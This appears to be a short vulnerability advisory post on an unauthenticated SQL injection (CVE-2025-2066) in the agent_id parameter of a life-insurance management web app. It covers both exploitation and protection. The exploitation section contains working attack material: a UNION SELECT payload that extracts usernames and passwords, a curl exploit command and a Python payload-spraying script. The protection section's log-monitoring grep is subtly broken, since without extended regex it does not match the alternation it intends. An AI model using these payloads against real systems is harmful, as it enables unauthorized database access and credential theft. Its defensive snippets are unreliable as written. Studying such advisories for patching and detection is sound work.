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How CVE-2025-2066 Works
This vulnerability exploits improper input sanitization in the `agent_id` parameter of `/updateAgent.php` in Life Insurance Management System 1.0. Attackers inject malicious SQL queries through this parameter, manipulating database operations. The flaw allows unauthorized access, data exfiltration, or system compromise. Remote exploitation is possible without authentication due to missing input validation and insecure SQL query construction.
DailyCVE Form
Platform: Life Insurance Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Payload Example:
agent_id=1' UNION SELECT username, password FROM users--
2. Exploit Command:
curl -X POST "http://target.com/updateAgent.php" -d "agent_id=1' OR 1=1--"
3. Automated Testing:
import requests
payloads = ["' OR 1=1--", "' UNION SELECT 1,2,3--"]
for payload in payloads:
r = requests.post("http://target.com/updateAgent.php", data={"agent_id": payload})
print(r.text)
Protection
1. Input Sanitization:
$agent_id = mysqli_real_escape_string($conn, $_POST['agent_id']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE agents SET name=? WHERE id=?");
$stmt->bind_param("si", $name, $agent_id);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch Verification:
grep -r "mysql_query" /var/www/html/
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -i "union|select"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
